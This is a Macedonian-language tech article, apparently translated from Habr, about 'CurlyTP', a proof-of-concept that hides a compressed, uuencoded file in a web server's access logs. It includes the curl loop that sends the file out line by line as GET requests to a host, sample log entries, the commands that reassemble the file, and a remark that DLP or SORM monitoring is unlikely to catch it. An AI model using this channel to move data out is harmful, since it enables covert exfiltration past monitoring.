Π Π°Π·ΠΌΠ΅Π½Π° Π½Π° Ρ‚Π°Ρ˜Π½ΠΈ ΠΏΠΎΡ€Π°ΠΊΠΈ ΠΏΡ€Π΅ΠΊΡƒ Π΄Π½Π΅Π²Π½ΠΈΡ†ΠΈ Π½Π° сСрвСрот

Π‘ΠΏΠΎΡ€Π΅Π΄ Π΄Π΅Ρ„ΠΈΠ½ΠΈΡ†ΠΈΡ˜Π°Ρ‚Π° Π½Π° Π’ΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΡ˜Π°, ΠΌΡ€Ρ‚Π²Π°Ρ‚Π° ΠΊΠ°ΠΏΠΊΠ° Π΅ Π°Π»Π°Ρ‚ΠΊΠ° Π·Π° Π·Π°Π³ΠΎΠ²ΠΎΡ€ која слуТи Π·Π° Ρ€Π°Π·ΠΌΠ΅Π½Π° Π½Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ Π½Π΅ΠΊΠΎΠΈ ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΈ ΠΏΠΎΠΌΠ΅Ρ“Ρƒ Π»ΡƒΡ“Π΅ ΠΊΠΎΠΈ користат Ρ‚Π°Ρ˜Π½Π° Π»ΠΎΠΊΠ°Ρ†ΠΈΡ˜Π°. Π˜Π΄Π΅Ρ˜Π°Ρ‚Π° Π΅ Π΄Π΅ΠΊΠ° Π»ΡƒΡ“Π΅Ρ‚ΠΎ никогаш Π½Π΅ сС ΡΡ€Π΅ΡœΠ°Π²Π°Π°Ρ‚ - Π½ΠΎ Ρ‚ΠΈΠ΅ сСпак Ρ€Π°Π·ΠΌΠ΅Π½ΡƒΠ²Π°Π°Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π·Π° Π΄Π° ја ΠΎΠ΄Ρ€ΠΆΠ°Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½Π°Ρ‚Π° бСзбСдност.

Π‘ΠΊΡ€ΠΈΠ²Π°Π»ΠΈΡˆΡ‚Π΅Ρ‚ΠΎ Π½Π΅ Ρ‚Ρ€Π΅Π±Π° Π΄Π° ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΡƒΠ²Π° Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. Π—Π°Ρ‚ΠΎΠ°, Π²ΠΎ ΠΎΡ„Π»Π°Ρ˜Π½ свСтот Ρ‚ΠΈΠ΅ чСсто користат дискрСтни Ρ€Π°Π±ΠΎΡ‚ΠΈ: Π»Π°Π±Π°Π²Π° Ρ‚ΡƒΠ»Π° Π²ΠΎ Ρ•ΠΈΠ΄ΠΎΡ‚, ΠΊΠ½ΠΈΠ³Π° Π·Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° ΠΈΠ»ΠΈ Π²Π΄Π»Π°Π±Π½Π°Ρ‚ΠΈΠ½Π° Π²ΠΎ Π΄Ρ€Π²ΠΎ.

ΠŸΠΎΡΡ‚ΠΎΡ˜Π°Ρ‚ ΠΌΠ½ΠΎΠ³Ρƒ Π°Π»Π°Ρ‚ΠΊΠΈ Π·Π° ΡˆΠΈΡ„Ρ€ΠΈΡ€Π°ΡšΠ΅ ΠΈ Π°Π½ΠΎΠ½ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡ˜Π° Π½Π° Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚, Π½ΠΎ самиот Ρ„Π°ΠΊΡ‚ Π½Π° ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅ Π½Π° ΠΎΠ²ΠΈΠ΅ Π°Π»Π°Ρ‚ΠΊΠΈ ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΡƒΠ²Π° Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. ΠŸΠΎΠΊΡ€Π°Ρ˜ Ρ‚ΠΎΠ°, Ρ‚ΠΈΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΠΈΠ΄Π°Ρ‚ Π±Π»ΠΎΠΊΠΈΡ€Π°Π½ΠΈ Π½Π° ΠΊΠΎΡ€ΠΏΠΎΡ€Π°Ρ‚ΠΈΠ²Π½ΠΎ ΠΈΠ»ΠΈ Π²Π»Π°Π΄ΠΈΠ½ΠΎ Π½ΠΈΠ²ΠΎ. Π¨Ρ‚ΠΎ Π΄Π° сС ΠΏΡ€Π°Π²ΠΈ?

Π˜Π½Π²Π΅ΡΡ‚ΠΈΡ‚ΠΎΡ€ΠΎΡ‚ Рајан ЀлоуСрс ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈ интСрСсна ΠΎΠΏΡ†ΠΈΡ˜Π° - користСтС кој Π±ΠΈΠ»ΠΎ Π²Π΅Π±-сСрвСр ΠΊΠ°ΠΊΠΎ ΡΠΊΡ€ΠΈΠ²Π°Π»ΠΈΡˆΡ‚Π΅. Ако размислитС Π·Π° Ρ‚ΠΎΠ°, ΡˆΡ‚ΠΎ ΠΏΡ€Π°Π²ΠΈ Π²Π΅Π±-сСрвСрот? ΠŸΡ€ΠΈΠΌΠ° Π±Π°Ρ€Π°ΡšΠ°, ΠΈΠ·Π΄Π°Π²Π° Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠΈ ΠΈ Π·Π°ΠΏΠΈΡˆΡƒΠ²Π° Π΄Π½Π΅Π²Π½ΠΈΡ†ΠΈ. И Π³ΠΈ Π΅Π²ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ€Π° ситС Π±Π°Ρ€Π°ΡšΠ°, Π΄ΡƒΡ€ΠΈ ΠΈ Π½Π΅Ρ‚ΠΎΡ‡Π½ΠΈ!

Π˜Π·Π»Π΅Π³ΡƒΠ²Π° Π΄Π΅ΠΊΠ° сСкој Π²Π΅Π±-сСрвСр Π²ΠΈ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡƒΠ²Π° Π΄Π° Π·Π°Ρ‡ΡƒΠ²Π°Ρ‚Π΅ рСчиси сСкоја ΠΏΠΎΡ€Π°ΠΊΠ° Π²ΠΎ Π΄Π½Π΅Π²Π½ΠΈΠΊΠΎΡ‚. Π¦Π²Π΅Ρ‚ΠΎΠ²ΠΈΡ‚Π΅ сС ΠΏΡ€Π°ΡˆΡƒΠ²Π°Π° ΠΊΠ°ΠΊΠΎ Π΄Π° Π³ΠΎ користат ΠΎΠ²Π°.

Вој ја Π½ΡƒΠ΄ΠΈ ΠΎΠ²Π°Π° ΠΎΠΏΡ†ΠΈΡ˜Π°:

  1. Π—Π΅ΠΌΠ΅Ρ‚Π΅ тСкстуална Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠ° (Ρ‚Π°Ρ˜Π½Π° ΠΏΠΎΡ€Π°ΠΊΠ°) ΠΈ ΠΏΡ€Π΅ΡΠΌΠ΅Ρ‚Π°Ρ˜Ρ‚Π΅ Π³ΠΎ Ρ…Π°ΡˆΠΎΡ‚ (md5sum).
  2. НиС Π³ΠΎ ΡˆΠΈΡ„Ρ€ΠΈΡ€Π°ΠΌΠ΅ (gzip+uuecode).
  3. НиС ΠΏΠΈΡˆΡƒΠ²Π°ΠΌΠ΅ Π²ΠΎ Π΄Π½Π΅Π²Π½ΠΈΠΊΠΎΡ‚ ΠΊΠΎΡ€ΠΈΡΡ‚Π΅Ρ˜ΡœΠΈ Π½Π°ΠΌΠ΅Ρ€Π½ΠΎ Π½Π΅Ρ‚ΠΎΡ‡Π½ΠΎ Π±Π°Ρ€Π°ΡšΠ΅ Π΄ΠΎ сСрвСрот.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Π—Π° Π΄Π° ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚Π΅ Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠ°, Ρ‚Ρ€Π΅Π±Π° Π΄Π° Π³ΠΈ ΠΈΠ·Π²Ρ€ΡˆΠΈΡ‚Π΅ ΠΎΠ²ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π²ΠΎ ΠΎΠ±Ρ€Π°Ρ‚Π΅Π½ рСдослСд: Π΄Π΅ΡˆΠΈΡ„Ρ€ΠΈΡ€Π°Ρ˜Ρ‚Π΅ ја ΠΈ ΠΎΡ‚ΠΏΠ°ΠΊΡƒΠ²Π°Ρ˜Ρ‚Π΅ ја Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π°, ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Ρ‚Π΅ Π³ΠΎ Ρ…Π°ΡˆΠΎΡ‚ (Ρ…Π°ΡˆΠΎΡ‚ ΠΌΠΎΠΆΠ΅ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎ Π΄Π° сС прСнСсС ΠΏΡ€Π΅ΠΊΡƒ ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ΠΈ ΠΊΠ°Π½Π°Π»ΠΈ).

ΠŸΡ€ΠΎΡΡ‚ΠΎΡ€ΠΈΡ‚Π΅ сС Π·Π°ΠΌΠ΅Π½ΡƒΠ²Π°Π°Ρ‚ со =+=Π·Π° Π΄Π° Π½Π΅ΠΌΠ° ΠΏΡ€Π°Π·Π½ΠΈ мСста Π²ΠΎ адрСсата. ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠ°Ρ‚Π°, која Π°Π²Ρ‚ΠΎΡ€ΠΎΡ‚ ја Π½Π°Ρ€Π΅ΠΊΡƒΠ²Π° CurlyTP, користи ΠΊΠΎΠ΄ΠΈΡ€Π°ΡšΠ΅ base64, ΠΊΠ°ΠΊΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠ·ΠΈ Π·Π° Π΅-ΠΏΠΎΡˆΡ‚Π°. Π‘Π°Ρ€Π°ΡšΠ΅Ρ‚ΠΎ Π΅ Π½Π°ΠΏΡ€Π°Π²Π΅Π½ΠΎ со ΠΊΠ»ΡƒΡ‡Π΅Π½ Π·Π±ΠΎΡ€ ?transfer?Π·Π° Π΄Π° ΠΌΠΎΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ°Ρ‡ΠΎΡ‚ лСсно Π΄Π° Π³ΠΎ најдС Π²ΠΎ Π΄Π½Π΅Π²Π½ΠΈΡ†ΠΈΡ‚Π΅.

Π¨Ρ‚ΠΎ Π³Π»Π΅Π΄Π°ΠΌΠ΅ Π²ΠΎ Π΄Π½Π΅Π²Π½ΠΈΡ†ΠΈΡ‚Π΅ Π²ΠΎ овој ΡΠ»ΡƒΡ‡Π°Ρ˜?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Како ΡˆΡ‚ΠΎ вСќС спомСнавмС, Π·Π° Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅Ρ‚Π΅ Ρ‚Π°Ρ˜Π½Π° ΠΏΠΎΡ€Π°ΠΊΠ°, Ρ‚Ρ€Π΅Π±Π° Π΄Π° Π³ΠΈ ΠΈΠ·Π²Ρ€ΡˆΠΈΡ‚Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π²ΠΎ ΠΎΠ±Ρ€Π°Ρ‚Π΅Π½ рСдослСд:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

ΠŸΡ€ΠΎΡ†Π΅ΡΠΎΡ‚ Π΅ лСсСн Π·Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π°ΡšΠ΅. Md5sum сС совпаѓа, Π° содрТината Π½Π° Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° ΠΏΠΎΡ‚Π²Ρ€Π΄ΡƒΠ²Π° Π΄Π΅ΠΊΠ° сè Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€Π°Π½ΠΎ.

ΠœΠ΅Ρ‚ΠΎΠ΄ΠΎΡ‚ Π΅ ΠΌΠ½ΠΎΠ³Ρƒ СдноставСн. β€žΠŸΠΎΠ΅Π½Ρ‚Π°Ρ‚Π° Π½Π° ΠΎΠ²Π°Π° Π²Π΅ΠΆΠ±Π° Π΅ само Π΄Π° сС Π΄ΠΎΠΊΠ°ΠΆΠ΅ Π΄Π΅ΠΊΠ° Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠΈΡ‚Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° сС прСнСсат ΠΏΡ€Π΅ΠΊΡƒ Π½Π΅Π²ΠΈΠ½ΠΈ ΠΌΠ°Π»ΠΈ Π²Π΅Π±-Π±Π°Ρ€Π°ΡšΠ°, ΠΈ Ρ‚Π°Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ Π½Π° кој Π±ΠΈΠ»ΠΎ Π²Π΅Π±-сСрвСр со Π΄Π½Π΅Π²Π½ΠΈΡ†ΠΈ со ΠΎΠ±ΠΈΡ‡Π΅Π½ тСкст. Π’ΠΎ ΡΡƒΡˆΡ‚ΠΈΠ½Π°, сСкој Π²Π΅Π±-сСрвСр Π΅ ΡΠΊΡ€ΠΈΠ²Π°Π»ΠΈΡˆΡ‚Π΅!β€œ, ΠΏΠΈΡˆΡƒΠ²Π° Flowers.

Π‘Π΅ Ρ€Π°Π·Π±ΠΈΡ€Π°, ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΡ‚ Ρ€Π°Π±ΠΎΡ‚ΠΈ само Π°ΠΊΠΎ ΠΏΡ€ΠΈΠΌΠ°Ρ‡ΠΎΡ‚ ΠΈΠΌΠ° пристап Π΄ΠΎ Π΄Π½Π΅Π²Π½ΠΈΡ†ΠΈΡ‚Π΅ Π½Π° сСрвСрот. Но, Ρ‚Π°ΠΊΠΎΠ² пристап Π΅ ΠΎΠ±Π΅Π·Π±Π΅Π΄Π΅Π½, Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ΄ ΠΌΠ½ΠΎΠ³Ρƒ хостСри.

Како Π΄Π° Π³ΠΎ користитС?

Рајан ЀлауСрс Π²Π΅Π»ΠΈ Π΄Π΅ΠΊΠ° Π½Π΅ Π΅ СкспСрт Π·Π° информациска бСзбСдност ΠΈ Π½Π΅ΠΌΠ° Π΄Π° состави листа Π½Π° ΠΌΠΎΠΆΠ½ΠΈ ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈ Π½Π° CurlyTP. Π—Π° Π½Π΅Π³ΠΎ, Ρ‚ΠΎΠ° Π΅ само Π΄ΠΎΠΊΠ°Π· Π·Π° ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ‚ΠΎΡ‚ Π΄Π΅ΠΊΠ° ΠΏΠΎΠ·Π½Π°Ρ‚ΠΈΡ‚Π΅ Π°Π»Π°Ρ‚ΠΊΠΈ ΡˆΡ‚ΠΎ Π³ΠΈ Π³Π»Π΅Π΄Π°ΠΌΠ΅ сСкојднСвно ΠΌΠΎΠΆΠ΅ Π΄Π° сС користат Π½Π° Π½Π΅ΠΊΠΎΠ½Π²Π΅Π½Ρ†ΠΈΠΎΠ½Π°Π»Π΅Π½ Π½Π°Ρ‡ΠΈΠ½.

Π’ΡΡƒΡˆΠ½ΠΎΡΡ‚, овој ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠΌΠ° Π³ΠΎΠ»Π΅ΠΌ Π±Ρ€ΠΎΡ˜ Π½Π° прСдности Π²ΠΎ однос Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ‚Π΅ β€žΠΊΡ€ΠΈΠ΅β€œ Π½Π° сСрвСрот ΠΊΠ°ΠΊΠΎ Π”ΠΈΠ³ΠΈΡ‚Π°Π»Π΅Π½ ΠΌΡ€Ρ‚ΠΎΠ² ΠΏΠ°Π΄ ΠΈΠ»ΠΈ PirateBox: Π½Π΅ Π±Π°Ρ€Π° посСбна ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ˜Π° Π½Π° страната Π½Π° сСрвСрот ΠΈΠ»ΠΈ Π½Π΅ΠΊΠΎΠΈ посСбни ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ - ΠΈ Π½Π΅ΠΌΠ° Π΄Π° ΠΏΡ€Π΅Π΄ΠΈΠ·Π²ΠΈΠΊΠ° сомнСТ кај ΠΎΠ½ΠΈΠ΅ ΠΊΠΎΠΈ Π³ΠΎ слСдат ΡΠΎΠΎΠ±Ρ€Π°ΡœΠ°Ρ˜ΠΎΡ‚. ΠœΠ°Π»ΠΊΡƒ Π΅ Π²Π΅Ρ€ΠΎΡ˜Π°Ρ‚Π½ΠΎ Π΄Π΅ΠΊΠ° систСмот SORM ΠΈΠ»ΠΈ DLP ќС скСнира URL-адрСси Π·Π° компрСсирани тСкстуални Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠΈ.

Ова Π΅ Π΅Π΄Π΅Π½ ΠΎΠ΄ Π½Π°Ρ‡ΠΈΠ½ΠΈΡ‚Π΅ Π·Π° прСнос Π½Π° ΠΏΠΎΡ€Π°ΠΊΠΈ ΠΏΡ€Π΅ΠΊΡƒ услуТни Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠΈ. ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° сС сСтитС ΠΊΠ°ΠΊΠΎ сС пласираа Π½Π΅ΠΊΠΎΠΈ Π½Π°ΠΏΡ€Π΅Π΄Π½ΠΈ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Π Π°Π±ΠΎΡ‚Π½ΠΈ мСста Π·Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ΅Ρ€ΠΈ Π²ΠΎ заглавија Π½Π° HTTP ΠΈΠ»ΠΈ Π²ΠΎ ΠΊΠΎΠ΄ΠΎΡ‚ Π½Π° HTML страницитС.

Π Π°Π·ΠΌΠ΅Π½Π° Π½Π° Ρ‚Π°Ρ˜Π½ΠΈ ΠΏΠΎΡ€Π°ΠΊΠΈ ΠΏΡ€Π΅ΠΊΡƒ Π΄Π½Π΅Π²Π½ΠΈΡ†ΠΈ Π½Π° сСрвСрот

Π˜Π΄Π΅Ρ˜Π°Ρ‚Π° бСшС само Π²Π΅Π±-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ΅Ρ€ΠΈΡ‚Π΅ Π΄Π° Π³ΠΎ Π²ΠΈΠ΄Π°Ρ‚ ΠΎΠ²Π° вСлигдСнско Ρ˜Π°Ρ˜Ρ†Π΅, бидСјќи Π½ΠΎΡ€ΠΌΠ°Π»Π΅Π½ Ρ‡ΠΎΠ²Π΅ΠΊ Π½Π΅ Π±ΠΈ Π³ΠΈ Π³Π»Π΅Π΄Π°Π» Π·Π°Π³Π»Π°Π²ΠΈΡ˜Π°Ρ‚Π° ΠΈΠ»ΠΈ HTML-ΠΊΠΎΠ΄ΠΎΡ‚.

Π Π°Π·ΠΌΠ΅Π½Π° Π½Π° Ρ‚Π°Ρ˜Π½ΠΈ ΠΏΠΎΡ€Π°ΠΊΠΈ ΠΏΡ€Π΅ΠΊΡƒ Π΄Π½Π΅Π²Π½ΠΈΡ†ΠΈ Π½Π° сСрвСрот

Π˜Π·Π²ΠΎΡ€: www.habr.com

Π”ΠΎΠ΄Π°Π΄Π΅Ρ‚Π΅ ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€